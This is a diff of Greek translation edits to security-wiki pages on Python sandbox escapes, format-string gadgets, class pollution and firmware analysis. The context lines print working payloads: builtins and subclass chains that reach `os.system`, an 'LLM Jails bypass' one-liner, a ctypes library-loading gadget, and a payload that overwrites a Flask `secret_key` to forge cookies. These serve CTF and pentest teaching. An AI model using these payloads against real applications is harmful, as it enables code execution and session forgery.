προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**. +Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**. -Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**ακίνδυνα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους. +Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσπελάσετε** **επικίνδυνες** **λειτουργίες** μέσα τους. **Python2** ```python @@ -377,7 +377,7 @@ __builtins__["__import__"]("os").system("ls") ``` ## Globals and locals -Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση. +Έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να ξέρετε τι μπορείτε να έχετε πρόσβαση. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -409,7 +409,7 @@ class_obj.__init__.__globals__ #### Πρόσβαση σε υποκλάσεις με παρακάμψεις -Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η ικανότητα να **προσεγγίζετε τις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**: +Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα **πρόσβασης στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -502,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες: +Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε κατά ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -682,9 +682,9 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]` +Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]` -Επίσης, σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Ορισμένα άλλα ενδιαφέροντα χαρακτηριστικά από τις μορφές συμβολοσειρών είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο υποδεικνυόμενο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα: ```python @@ -705,13 +705,14 @@ return 'HAL 9000' **Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info) > [!ΠΡΟΣΟΧΗ] -> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead sensitive information from Python internal objects**: +> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**: + {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### Payloads Ευαίσθητης Αποκάλυψης Πληροφοριών +### Payloads Αποκάλυψης Ευαίσθητων Πληροφοριών ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -729,11 +730,11 @@ str(x) # Out: clueless ``` ### LLM Jails bypass -Από [εδώ](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### Από το format στο RCE φόρτωσης βιβλιοθηκών +### Από τη μορφή στη RCE φόρτωση βιβλιοθηκών -Σύμφωνα με το [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python. +Σύμφωνα με το [**TypeMonkey chall από αυτή τη γραφή**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python. Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**. @@ -742,7 +743,7 @@ str(x) # Out: clueless Μια ευπάθεια μορφής συμβολοσειράς στην python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\ Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE. -Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +Ψάχνοντας για ένα gadget όπως αυτό στην python, η γραφή προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -768,16 +769,16 @@ pydll = LibraryLoader(PyDLL) ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο των διακομιστών. +Η πρόκληση εκμεταλλεύεται στην πραγματικότητα μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο των διακομιστών. ## Ανάλυση Αντικειμένων Python -> [!NOTE] +> [!TIP] > Αν θέλετε να **μάθετε** για τον **bytecode της python** σε βάθος, διαβάστε αυτή την **καταπληκτική** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Σε ορισμένα CTFs μπορεί να σας παρέχεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και πρέπει να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξαγάγετε. -Αυτή είναι η συνάρτηση προς επιθεώρηση: +Αυτή είναι η συνάρτηση που πρέπει να εξετάσετε: ```python def get_flag(some_input): var1=1 @@ -806,7 +807,7 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` -[**Δείτε εδώ περισσότερους τόπους για να αποκτήσετε globals**](#globals-and-locals) +[**Δείτε εδώ περισσότερες τοποθεσίες για να αποκτήσετε globals**](#globals-and-locals) ### **Πρόσβαση στον κώδικα της συνάρτησης** @@ -938,7 +939,7 @@ return "Nope" ``` ### Δημιουργία του αντικειμένου κώδικα -Πρώτα απ' όλα, πρέπει να γνωρίζουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει: +Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -957,7 +958,7 @@ mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` -> [!NOTE] +> [!TIP] > Ανάλογα με την έκδοση python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να γνωρίζετε τη σειρά των παραμέτρων στην έκδοση python που εκτελείτε είναι να εκτελέσετε: > > ``` @@ -966,7 +967,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### Αναδημιουργία μιας διαρροής συνάρτησης +### Recreating a leaked function > [!WARNING] > Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτές που **θα χρειαστεί να διαρρεύσουν**. @@ -982,10 +983,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -In previous examples at the beginning of this post, you can see **πώς να εκτελέσετε οποιοδήποτε python κώδικα χρησιμοποιώντας τη συνάρτηση `compile`**. This is interesting because you can **εκτελέσετε ολόκληρα σενάρια** με βρόχους και όλα σε μια **μία γραμμή** (and we could do the same using **`exec`**).\ -Anyway, sometimes it could be useful to **δημιουργήσετε** ένα **συμπιεσμένο αντικείμενο** σε μια τοπική μηχανή και να το εκτελέσετε στη **μηχανή CTF** (for example because we don't have the `compiled` function in the CTF). +In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\ +Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF). -For example, let's compile and execute manually a function that reads _./poc.py_: +Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_: ```python #Locally def read(): @@ -1012,7 +1013,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο περιβάλλον_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.** +Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο τρόπο_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1026,6 +1027,7 @@ f(42) **Δείτε αυτό το σεμινάριο**: + {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} @@ -1034,7 +1036,7 @@ f(42) ### Assert -Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους στην τιμή του **debug**.\ +Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους με την τιμή του **debug**.\ Επομένως, ελέγχοι όπως ```python def check_permission(super_user): diff --git a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md index 0e1c59198..43b7e8e98 100644 --- a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +++ b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -4,7 +4,7 @@ ## Βασικό Παράδειγμα -Ελέγξτε πώς είναι δυνατόν να ρυπαίνουμε κλάσεις αντικειμένων με συμβολοσειρές: +Δείτε πώς είναι δυνατόν να ρυπαίνουμε κλάσεις αντικειμένων με συμβολοσειρές: ```python class Company: pass class Developer(Company): pass @@ -116,7 +116,7 @@ print(system_admin_emp.execute_command())
-Μόλυνση άλλων κλάσεων και παγκόσμιων μεταβλητών μέσω globals +Μολύνοντας άλλες κλάσεις και παγκόσμιες μεταβλητές μέσω globals ```python def merge(src, dst): # Recursive merge function @@ -182,7 +182,7 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up Επικαλύπτοντας __kwdefaults__ -**`__kwdefaults__`** είναι ένα ειδικό χαρακτηριστικό όλων των συναρτήσεων, βασισμένο στην τεκμηρίωση της Python [documentation](https://docs.python.org/3/library/inspect.html), είναι μια “χαρτογράφηση οποιωνδήποτε προεπιλεγμένων τιμών για **μόνο-λέξεις-κλειδιά** παραμέτρους”. Η ρύπανση αυτού του χαρακτηριστικού μας επιτρέπει να ελέγχουμε τις προεπιλεγμένες τιμές των παραμέτρων μόνο-λέξεις-κλειδιά μιας συνάρτησης, αυτές είναι οι παράμετροι της συνάρτησης που έρχονται μετά το \* ή \*args. +**`__kwdefaults__`** είναι ένα ειδικό χαρακτηριστικό όλων των συναρτήσεων, βασισμένο στην τεκμηρίωση της Python [documentation](https://docs.python.org/3/library/inspect.html), είναι μια “χαρτογράφηση οποιωνδήποτε προεπιλεγμένων τιμών για **μόνο-λέξεις-κλειδιά** παραμέτρους”. Η ρύπανση αυτού του χαρακτηριστικού μας επιτρέπει να ελέγχουμε τις προεπιλεγμένες τιμές των παραμέτρων μόνο-λέξεων-κλειδιών μιας συνάρτησης, αυτές είναι οι παράμετροι της συνάρτησης που έρχονται μετά το \* ή \*args. ```python from os import system import json @@ -226,7 +226,7 @@ execute() #> Executing echo Polluted Επικαλύπτοντας το μυστικό του Flask σε διάφορα αρχεία Έτσι, αν μπορείτε να κάνετε class pollution σε ένα αντικείμενο που ορίζεται στο κύριο αρχείο python του ιστότοπου αλλά **η κλάση του ορίζεται σε διαφορετικό αρχείο** από το κύριο. Επειδή για να αποκτήσετε πρόσβαση στο \_\_globals\_\_ στις προηγούμενες payloads χρειάζεται να αποκτήσετε πρόσβαση στην κλάση του αντικειμένου ή στις μεθόδους της κλάσης, θα μπορείτε να **έχετε πρόσβαση στα globals σε εκείνο το αρχείο, αλλά όχι στο κύριο**. \ -Επομένως, **δεν θα μπορείτε να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο της εφαρμογής Flask** που ορίζει το **μυστικό κλειδί** στη κύρια σελίδα: +Επομένως, **δεν θα μπορείτε να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο της εφαρμογής Flask** που ορίζει το **μυστικό κλειδί** στην κύρια σελίδα: ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' @@ -237,7 +237,7 @@ app.secret_key = '(:secret:)' ```python __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key ``` -Χρησιμοποιήστε αυτό το payload για να **αλλάξετε το `app.secret_key`** (το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) ώστε να μπορείτε να υπογράφετε νέα και πιο προνομιακά cookies flask. +Χρησιμοποιήστε αυτό το payload για να **αλλάξετε το `app.secret_key`** (το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) ώστε να μπορείτε να υπογράφετε νέα και πιο προνόμια flask cookies.
diff --git a/src/hardware-physical-access/firmware-analysis/README.md b/src/hardware-physical-access/firmware-analysis/README.md index d160777d8..fd75fad17 100644 --- a/src/hardware-physical-access/firmware-analysis/README.md +++ b/src/hardware-physical-access/firmware-analysis/README.md @@ -10,7 +10,7 @@ synology-encrypted-archive-decryption.md {{#endref}} -Το firmware είναι το απαραίτητο λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας. +Το firmware είναι το βασικό λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας. ## **Συλλογή Πληροφοριών** @@ -19,13 +19,13 @@ synology-encrypted-archive-decryption.md - Την αρχιτεκτονική CPU και το λειτουργικό σύστημα που εκτελεί - Λεπτομέρειες bootloader - Διάταξη υλικού και φύλλα δεδομένων -- Μετρικές κώδικα και τοποθεσίες πηγής +- Μετρήσεις κώδικα και τοποθεσίες πηγής - Εξωτερικές βιβλιοθήκες και τύπους αδειών - Ιστορικά ενημερώσεων και ρυθμιστικές πιστοποιήσεις - Αρχιτεκτονικά και ροογράμματα - Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες -Για αυτόν τον σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων στοιχείων λογισμικού ανοιχτής πηγής μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmle’s LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων. +Για αυτόν τον σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων ανοιχτών λογισμικών στοιχείων μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmle’s LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων. ## **Απόκτηση του Firmware** @@ -54,7 +54,7 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` -Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E `, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιο τρόπο). +Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E `, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο). Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**: @@ -71,7 +71,7 @@ fdisk -lu #lists a drives partition and filesystems if multiple #### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων -Μερικές φορές, το binwalk **δεν θα έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να carve το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα. +Μερικές φορές, το binwalk δεν θα **έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να χαράξετε το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα. ``` $ binwalk DIR850L_REVB.bin @@ -93,7 +93,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s ``` -Εναλλακτικά, η ακόλουθη εντολή θα μπορούσε επίσης να εκτελεστεί. +Εναλλακτικά, η παρακάτω εντολή μπορεί επίσης να εκτελεστεί. `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` @@ -132,13 +132,13 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head #useful for finding signatures in the header fdisk -lu #lists partitions and filesystems, if there are multiple ``` -Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με `binwalk -E `. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση. +Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με το `binwalk -E `. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση. Για την εξαγωγή **ενσωματωμένων αρχείων**, προτείνονται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για επιθεώρηση αρχείων. ### Εξαγωγή του Συστήματος Αρχείων -Χρησιμοποιώντας `binwalk -ev `, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω απουσίας μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων: +Χρησιμοποιώντας το `binwalk -ev `, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω έλλειψης μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων: ```bash $ binwalk DIR850L_REVB.bin @@ -148,15 +148,15 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs ### Ανάλυση Συστήματος Αρχείων -Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά αρχεία για ανάλυση εκτός σύνδεσης. +Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης. **Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν: - **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών - Πιστοποιητικά SSL και κλειδιά στο **etc/ssl** - Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες -- Ενσωματωμένα δυαδικά αρχεία για περαιτέρω ανάλυση -- Κοινές διαδικτυακές υπηρεσίες και δυαδικά αρχεία IoT συσκευών +- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση +- Κοινές διαδικτυακές υπηρεσίες και δυαδικά IoT συσκευών Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων: @@ -164,21 +164,21 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs - [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware - [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση -### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά Αρχεία +### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά -Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά αρχεία που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά αρχεία Unix και το **PESecurity** για δυαδικά αρχεία Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών αρχείων που θα μπορούσαν να εκμεταλλευτούν. +Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix 